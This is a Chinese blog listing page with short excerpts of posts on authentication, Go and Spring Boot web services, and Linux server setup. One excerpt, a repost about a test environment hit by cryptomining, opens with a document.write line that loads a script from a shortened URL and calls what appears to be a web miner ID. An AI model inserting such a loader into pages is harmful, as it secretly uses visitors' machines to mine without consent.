自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(50)
  • 收藏
  • 关注

原创 访问认证(三):Bearer

当前最流行的 token 编码方式是 JSON Web Token (JWT)。JWT 是 Bearer Token 的一个具体实现,由JSON 数据格式组成,通过HASH 散列算法生成一个字符串。该字符串可以用来进行 授权 和 信息交换。使用 JWT Token 进行认证有很多优点。比如:(1)无需在服务端存储用户数据,可以减轻服务端压力;(2)采用 JSON 数据格式,易读;(3)跨语言、轻量级;

2021-07-24 23:54:42 20053 2

原创 访问认证(二):Basic

Basic 认证(基础认证),是最简单的认证方式。

2021-07-24 21:59:33 1095

原创 访问认证(一)认证与授权

保证应用的安全是软件开发的最基本要求。作为开发者,应该从软件层面来保证应用的安全,这可以通过认证来实现。认证 与 授权 的区别认证(Authentication, 缩写:authn):用来验证某个用户是否具有访问系统的权限。如果认证通过,该用户就可以访问系统,从而创建、修改、删除、查询平台支持的资源。授权(Authorization, 缩写:authz):用来验证某个用户是否具有访问某个资源的权限。如果授权通过,该用户就能对资源做 CRUD 等操作。认证 证明了你是谁,授权 决定了你能做什么

2021-07-24 21:30:16 1121

原创 Web服务(二):Gin框架

简介Gin 框架是由 Go 语言编写,基于 net/http 包 封装的一个 Web 框架。Gin 核心的路由功能是通过定制版的HttpRouter 来实现的,具有很高的路由性能。Web 服务基础功能1. HTTP / HTTPS支持因为 Gin 框架是基于 net/http 包封装的一个 Web 框架,所以它天然就支持 HTTP / HTTPS。通过下面方式开启一个 HTTP 服务:insecureServer := &http.Server { Addr..

2021-07-24 19:56:01 1589

原创 Web服务(一):简介

简介在 Go 项目开发中,我们是在写能提供某种功能的后端服务,这些功能以 RPC API 接口 或者 RESTful API 接口 的形式对外提供,能提供这两种 API 接口的服务也统称为 Web 服务。核心功能核心功能分为 基础功能 和 高级功能 两大类。1. 基础功能1.1 通信协议 & 通信格式在 Go 项目开发中,有 HTTP + JSON 和 gRPC + Protobuf 两种组合可选。1.2 路由匹配根据 HTTP 方法,请求路径 匹配到处理这个请求的函

2021-07-24 11:11:53 1077

原创 API 风格 (三):RESTful & gRPC

RESTful VSgRPC对比项 RESTful gRPC 优点 相对来说,REST更规范、标准、通用,无论哪种语言都支持 HTTP 协议,可以对接外部很多系统,只要满足 HTTP 调用即可。 通常采用 JSON 作为数据通信格式,可读性强,开发调试都很方便。 客户端与服务端之间 松耦合,让变更更加方便。 屏蔽网路细节,像调用本地方法一样,调用远程接口。 通常采用 Protocol Buffers 作为数据传输格式,这种...

2021-07-17 21:37:01 984

原创 API 风格 (一):RESTful API

简介REST(REpresentational State Transfer 表现层状态转移),是一种软件架构风格,是一种架构约束条件和原则。它有一系列的规范。满足这些规范的 API 均可称为 RESTful API。区别:REST 是一种规范,RESTful API 则是满足这种规范的 API 接口。REST 规范把所有内容都视为资源,也就是说网络上一切皆资源。REST 架构对资源的操作有获取(GET)、创建(POST)、修改(PUT)、删除(DELETE)。HTTP方法 行为.

2021-07-17 21:03:23 489

原创 API 风格 (二):RPC API

RPC介绍在 Go 项目开发中,如果业务对性能要求比较高,并且需要提供给多种编程语言调用,这时候就可以考虑使用 RPC API 接口。RPC(Remote Procedure Call 远程过程调用),是一个计算机通信协议。该协议允许运行于一台计算机的程序,像调用本地方法一样,调用另一台计算机的子程序。服务端实现一个函数,客户端使用 RPC 框架提供的接口,像调用本地函数一样调用这个函数,并获取返回值。RPC 屏蔽底层的网络通信细节,使得开发人员无需关注网络编程的细节,可以将更多的时间、精.

2021-07-17 20:56:01 1649 1

原创 001 如何获取、编译、安装Linux内核源代码

一、环境准备1、VMware Workstation虚拟机2、虚拟机中安装 Ubuntu-20.04.1 操作系统 (内核版本为 5.4.0)二、获取源代码1、www.kernel.org2、下载后源代码为 linux-5.8.7.tar.xz 格式压缩包,存放于/home/ubuntu/Desktop/Linux目录下,通过下面两条命令解压 cd /home/ubuntu/Desktop/Linux xz -d linux-5.8.7.tar.xz...

2020-09-09 21:34:44 5905 4

原创 Apache2 【error】Config variable ${APACHE_RUN_DIR} is not defined

现象:原因:这是由于升级后apache 配置文件变化,没有导入新的apache 环境变量解决方案:source /etc/apache2/envvars

2020-01-31 19:42:18 2497

原创 Win7 安装jdk后无法打开jar文件

一、由于装了压缩软件,jar包被压缩软件所关联,导致双击jar包无法运行, 解决办法当然是改变打开方式,将默认打开方式改为C:\Program Files\Java\jdk1.8.0_66\jre\bin目录下的javaw.exe二、由于文件打开类型配置的问题,导致双击jar包出现找不到main函数,解决办法是修改关联程序的注册表注册表项的路径为:\HKEY_CLASSES...

2020-01-31 16:49:36 2048

原创 Kali 2019.4 下卸载并重新安装MySQL

一、完全卸载Mysql首先用 dpkg --list | grepmysql查看自己的mysql有哪些依赖 卸载mysql相关应用 apt-get remove mysql* 再用 dpkg --list|grep mysql 查看,还剩什么就卸载什么 最后清除残留数据: dpkg -l | grep ^rc | awk '{print $2}' | sudo xarg...

2020-01-31 11:27:53 4366

原创 文件777 仍然不可写

原因: 这是linux开启了SELinux,这是linux的一个安全子系统, getenforce 查看状态 setenforce 0 临时关闭(重启恢复开启状态)/usr/sbin/sestatus 查看详情...

2019-05-11 20:26:50 447

原创 kali linux 开启ssh端口服务

ssh链接可以远程管理linux设备,默认端口是22,安装好系统默认是不开启的,需要修改配置文件1.修改/etc/ssh/sshd_config配置文件vim /etc/ssh/sshd_config1.1 找到#PasswordAuthentication yes把#的注释去掉PasswordAuthentication yes1.2 将PermitRootLogi...

2019-05-11 09:21:59 1405 2

转载 关于springboot中添加Filter的方法

【转】关于springboot中添加Filter的方法@WebFilter(filterName = "myFilter",urlPatterns = "/*")public class MyFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws S...

2019-03-29 14:58:58 883

原创 springboot 拦截器Interceptor 实现

1.编写拦截器 implements HandlerInterceptorpublic class AuthorityInterceptor implements HandlerInterceptor { /* 进入Controller层之前调用; 返回值为true,调用Controller层的方法; 返回值为false,不再进入Controll...

2019-03-29 14:42:07 402

原创 springboot cors跨域

corsConfiguration.addAllowedOrigin("http://ip:port");corsConfiguration.setAllowCredentials(true);package com.bookshop;import org.springframework.context.annotation.Bean;import org.springfra...

2019-03-29 13:29:06 223

原创 npm ERR! Error: EACCES: permission denied, access

npm ERR! Error: EACCES: permission denied, access '/Users/aven/node-red/node_modules/onetime'npm ERR! { Error: EACCES: permission denied, access '/Users/aven/node-red/node_modules/onetime'npm ERR...

2019-03-28 17:05:08 825

转载 Spring Boot Web项目解决ajax跨域

【转】SpringBoot项目ajax 跨域post请求问题在Application启动类中添加,需要导入的包都是与springframe相关的private CorsConfiguration buildConfig() { CorsConfiguration corsConfiguration = new CorsConfiguration(); ...

2019-03-27 13:24:34 231

转载 【转】记录一次测试环境被挖矿的坑

document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>');【转】记录一次测试环境被挖矿的坑【转】redis修改端口号增加密码...

2019-01-01 19:57:14 397 1

原创 Linux 防火墙

CentOS7默认的防火墙不是iptables,而是firewalle. 禁用/停止自带的firewalld服务#停止firewalld服务systemctl stop firewalld#禁用firewalld服务systemctl mask firewalldCentOS7安装iptables防火墙#先检查是否安装了iptablesservice iptables ...

2018-11-18 18:58:06 162

原创 Spring Schedule

Spring Schedule介绍作业调度,例如定时任务Spring Schedule Cron表达式Cron表达式的格式:秒  分  时  日  月  周  年(可选) Seconds Minutes Hours Day-of-Month Month Day-of-Week Year(可选字段)    Spring Schedule Cron 配置...

2018-11-13 10:31:27 190

原创 CookieUtil

CookieUtil:向客户端写Cookie从客户端读取Cookie删除客户端Cookiepackage com.tiandh.util;import lombok.extern.slf4j.Slf4j;import org.apache.commons.lang.StringUtils;import javax.servlet.http.Cookie;import ...

2018-11-04 15:25:02 144

原创 JsonUtil封装

 JsonUtil工具类:将java对象转换为json字符串将json字符串转换为java对象<!--jackson JsonUtil--> <dependency> <groupId>org.codehaus.jackson</groupId> <artifactId>j...

2018-11-02 16:54:41 237

原创 Redis连接池构建

背景负载均衡带来的问题:当用户A在请求登录的服务时,有可能是在Tomcat1上保存的登录信息,但是当请求网站的其他服务时,有可能会是Tomcat2提供的服务,然而Tomcat2上并没有保存用户A的登录信息,所以会发出用户未登录的情况解决:用Redis数据库作为session服务器,用来存储用户的登录信息与sessionId,每次验证用户的登录状态时,都将请求session服务器。...

2018-11-02 16:51:03 499

原创 Maven 环境隔离 笔记

一.实际的项目环境本地开发环境 (Local) 开发环境        (Dev) 测试环境        (Beta) 线上环境        (Prod)二. 隔离环境之间各种配置存在的差异数据库配置不一样 FTP服务器相关配置不一样 ......三. Maven环境隔离配置及原理pom.xml中build节点增加 <!--Maven环境隔离配置-...

2018-10-03 17:48:27 310

原创 Lombok学习笔记

Lombok 官网 : https://projectlombok.org/一.Lombok介绍通过简单注解来精简代码,达到消除冗长代码的目的二.Lombok优点提高编码效率 使代码更简洁 消除冗长代码 避免修改字段名字时忘记修改方法名三. Lombok原理JSR  269  Pluggable  Annotation Processing  API javac从Ja...

2018-10-02 22:12:53 223

转载 Windows中查看端口占用及关闭对应进程

1.查看占用8080端口程序          ①先C:>netstat -ano|findstr "8080"           协议    本地地址           外部地址           状态           PID           TCP 127.0.0.1:1433   0.0.0.0       LISTENING     4984      ...

2018-09-16 21:23:42 437 1

转载 【转】通过HTTP服务访问FTP服务器文件(配置nginx+ftp服务器)

通过HTTP服务访问FTP服务器文件(配置nginx+ftp服务器) 1.前提    已安装配置好nginx+ftp服务2.配置Nginx 服务器    2.1进入nginx 配置文件目录:cd  /usr/local/nginx/confvim  nginx.conf        2.2 修改配置文件:有两种方式            ①方式一:在配置文件s...

2018-09-15 14:51:03 3345

转载 mmall电商项目学习笔记之mybatis三剑客

一.Mybatis pluginIDEA 2017.3版本下Mybatis plugin 3.53安装使用插件下载地址http://www.awei.org/download/iMybatis-3.21.jar二.MyBatis-Generate 反向生成【转】mybatis自动生成实体代码的插件【method2】逆向生成2.1 在pom.xml中做两处配置2.1....

2018-09-14 12:54:29 509

原创 mmall电商项目学习笔记之 idea,maven工程整合ssm框架

项目目录结构1.pom文件导入jar包1.1 <properties> <!--设置编码格式--> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.reporting.outputEncoding&...

2018-09-14 09:24:12 547

转载 ajax跨域请求时,sessionId不一样,导致无法记住登录状态

【转】 ajax跨域请求时,sessionId不一致问题 解决方案:js的ajax中,设置xhrFields:{      withCredentials : true} $.ajax({ url: '', type: 'POST', xhrFields:{ withCredentials:true }, ...

2018-09-10 22:18:03 540

转载 java Ajax跨域

第一步:如果项目用了Maven构建的,请添加如下依赖到pom.xml中 <dependency>    <groupId>com.thetransactioncompany</groupId>    <artifactId>cors-filter</artifactId>    <version>[ ve...

2018-09-10 13:07:15 343

转载 Windows下安装node.js webpack

【转载】windows下淡妆node.js , webpack 安装webpack后,执行webpack -v命令时报错如下:F:\Development\nodejs\node_global\node_modules\webpack\bin\webpack.js:86        let notify =        ^^^SyntaxError: Block-scope...

2018-09-07 09:41:16 603

原创 Node.js入门

1.简介简单的说 Node.js 就是运行在服务端的 JavaScript。2.用途构建工具webpack的环境依赖3.特点单线程、异步编程4.应用场景低运算、高I/O5.安装官网:Node.js官网偶数版本为稳定版本windows :node-vxxx.msimac :node-vxxx.pkglinux :node-vxxx-linux-x6...

2018-09-06 22:01:15 185

原创 Linux git 基础配置

【转】centos7编译安装git1.配置用户名git config --global user.name "yourname"2.配置邮箱git config --global user.email "youremail"3.编码配置git config --global gui.encoding utf-8#避免git gui中的中文乱码git config -...

2018-09-06 20:10:57 232

原创 Linux 下安装mysql

【转】CentOS7 64位安装mysql5.7【转】ERROR 2002 (HY000): Can’t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock’ (2)的错误提示【转】mysql5.7 安装完成后设置密码【转】MySQL5.7 添加用户、删除用户与授权【转】[Err] 1...

2018-09-06 17:36:24 201

原创 Linux 下Nginx安装

一. Nginx简介Nginx是什么?         Nginx是一款轻量级的Web服务器,也是一款反向代理服务器     2. Nginx能做什么? 可以作为HTTP反向代理服务器  作为负载均衡服务器  作为邮件代理服务器  帮助实现前端动静分离             **********************************************...

2018-09-06 16:40:35 135

原创 LInux 下vsftpd 配置

【转】500 OOPS: vsftpd: refusing to run with writable root inside chroot()默认配置文件位置:/etc/vsftpd/vsftpd.conf默认匿名用户家目录:/var/ftp 权限为755,不能改变1.创建一个用户ftpuser(无登录系统权限),可以上传。useradd -s /sbin/no...

2018-09-06 15:40:46 357

原创 Linux 下安装 vsftpd

方式一:本地安装1.挂载光盘,进入到 /mnt/Packages/文件夹下,查看是否有vsftpd包mount /dev/cdrom /mnt/cd /mnt/Packages/ll *vsftpd*2.安装rpm -ivh vsftpd-2.2.2-24.el6.x86_64.rpm(vsftpd-2.2.2-24.el6.x86_64.rpm 为上一步中查询到的包名...

2018-09-06 14:43:46 374

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除